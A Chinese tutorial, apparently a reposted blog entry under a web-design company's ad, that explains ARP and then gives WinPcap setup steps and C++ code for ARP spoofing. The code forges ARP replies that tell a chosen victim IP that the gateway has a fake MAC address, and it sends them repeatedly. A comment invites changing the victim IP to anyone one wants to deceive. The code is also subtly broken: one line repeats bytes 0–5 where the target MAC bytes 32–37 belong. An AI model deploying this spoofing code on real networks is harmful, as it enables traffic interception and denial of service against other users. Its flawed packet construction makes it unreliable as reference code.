發(fā)送ARP數(shù)據(jù)包
創(chuàng)新互聯(lián)公司2013年成立,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務公司,擁有項目成都網(wǎng)站制作、網(wǎng)站設計網(wǎng)站策劃,項目實施與項目整合能力。我們以讓每一個夢想脫穎而出為使命,1280元貴南做網(wǎng)站,已為上家服務,為貴南各地企業(yè)和個人服務,聯(lián)系電話:18980820575
ARP 地址解析協(xié)議,即ARP(Address Resolution Protocol),是根據(jù)IP地址獲取物理地址的一個TCP/IP協(xié)議。主機發(fā) 送信息時將包含目標IP地址的ARP請求廣播到網(wǎng)絡上的所有主機,并接收返回消息,以此確定目標的物理地址;收到返回消息后將該IP地址和物理地址存入本 機ARP緩存中并保留一定時間,下次請求時直接查詢ARP緩存以節(jié)約資源。地址解析協(xié)議是建立在網(wǎng)絡中各個主機互相信任的基礎上的,網(wǎng)絡上的主機可以自主 發(fā)送ARP應答消息,其他主機收到應答報文時不會檢測該報文的真實性就會將其記入本機ARP緩存;由此***者就可以向某一主機發(fā)送偽ARP應答報文,使其 發(fā)送的信息無法到達預期的主機或到達錯誤的主機,這就構(gòu)成了一個ARP欺騙。ARP命令可用于查詢本機ARP緩存中IP地址和MAC地址的對應關系、添加或刪除靜態(tài)對應關系等。相關協(xié)議有RARP、代理ARP。NDP用于在IPv6中代替地址解析協(xié)議。
第一步:運行vs2010,并對項目配置修改。
項目-->**屬性(alt+F7)
配置屬性-->清單工具-->輸入和輸出-->嵌入清單-->否
項目-->**屬性(alt+F7)
配置屬性-->C/C++-->常規(guī)-->附加包含目錄-->
項目-->**屬性(alt+F7)
配置屬性-->鏈接器-->常規(guī)-->附加庫目錄-->
項目-->**屬性(alt+F7)
配置屬性-->鏈接器-->輸入-->附加依賴項-->補充“;Packet.lib;wpcap.lib;Ws2_32.lib;”
項目-->**屬性(alt+F7)
配置屬性-->C/C++-->預處理器-->預處理器定義-->補充“;HAVE_REMOTE”
第二部:復制arp代碼進行運行
// WinpCap Test.cpp : 定義控制臺應用程序的入口點。
//
#include "stdafx.h"
#include
int _tmain(int argc, _TCHAR* argv[])
{
pcap_if_t * allAdapters;//適配器列表
pcap_if_t * adapter;
pcap_t * adapterHandle;//適配器句柄
u_char packet[ 1020 ]; //待發(fā)送的數(shù)據(jù)封包
char errorBuffer[ PCAP_ERRBUF_SIZE ];//錯誤信息緩沖區(qū)
if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
{//檢索機器連接的所有網(wǎng)絡適配器
fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
return -1;
}
if( allAdapters == NULL )
{//不存在任何適配器
printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
return 0;
}
int crtAdapter = 0;
for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
{//遍歷輸入適配器信息(名稱和描述信息)
printf( "\n%d.%s ", ++crtAdapter, adapter->name );
printf( "-- %s\n", adapter->description );
}
printf( "\n" );
//選擇適配器
int adapterNumber;
printf( "Enter the adapter number between 1 and %d:", crtAdapter );
scanf_s( "%d", &adapterNumber );
if( adapterNumber < 1 || adapterNumber > crtAdapter )
{
printf( "\nAdapter number out of range.\n" );
pcap_freealldevs( allAdapters );// 釋放適配器列表
return -1;
}
adapter = allAdapters;
for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
adapter = adapter->next;
// 打開指定適配器
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout - 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//指定適配器打開失敗
fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
// 釋放適配器列表
pcap_freealldevs( allAdapters );
return -1;
}
pcap_freealldevs( allAdapters );//釋放適配器列表 c8-9c-dc-22-61-fa
//創(chuàng)建數(shù)據(jù)封包
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x61; packet[5] = 0xfa; // 被騙計算機的mac地址
packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x6c; packet[11] = 0x14; // 自己的mac地址C8-9C-DC-22-6C-14
packet[12] = 0x08; packet[13] = 0x06; // 以太網(wǎng)封裝arp協(xié)議(不用動)
packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:代表以太網(wǎng)
packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:代表IP協(xié)議
packet[18] = 0x06; // arp第3字段:代表第二層地址的長度
packet[19] = 0x04; // arp第4字段:代表第三層地址的長度
packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:這是一個arp應答報文; 下面的是arp的第6,7,8,9字段
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x09; // 假的網(wǎng)關地址,
packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; // 網(wǎng)關的ip,這里是172.28.15.254(在本實驗室不用改)
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x61; packet[5] = 0xfa; // 被騙計算機的mac地址
packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x37; // 被騙計算機的IP地址,這里是172.28.15.55 (想騙誰,這里就改成誰的IP)
//發(fā)送數(shù)據(jù)封包
for(int ssde=0;ssde<100;ssde++)
{
pcap_sendpacket( adapterHandle, packet, 42);
Sleep(1000);
}
system( "PAUSE" );
return 0;
}
第三部:查看被騙電腦驗證。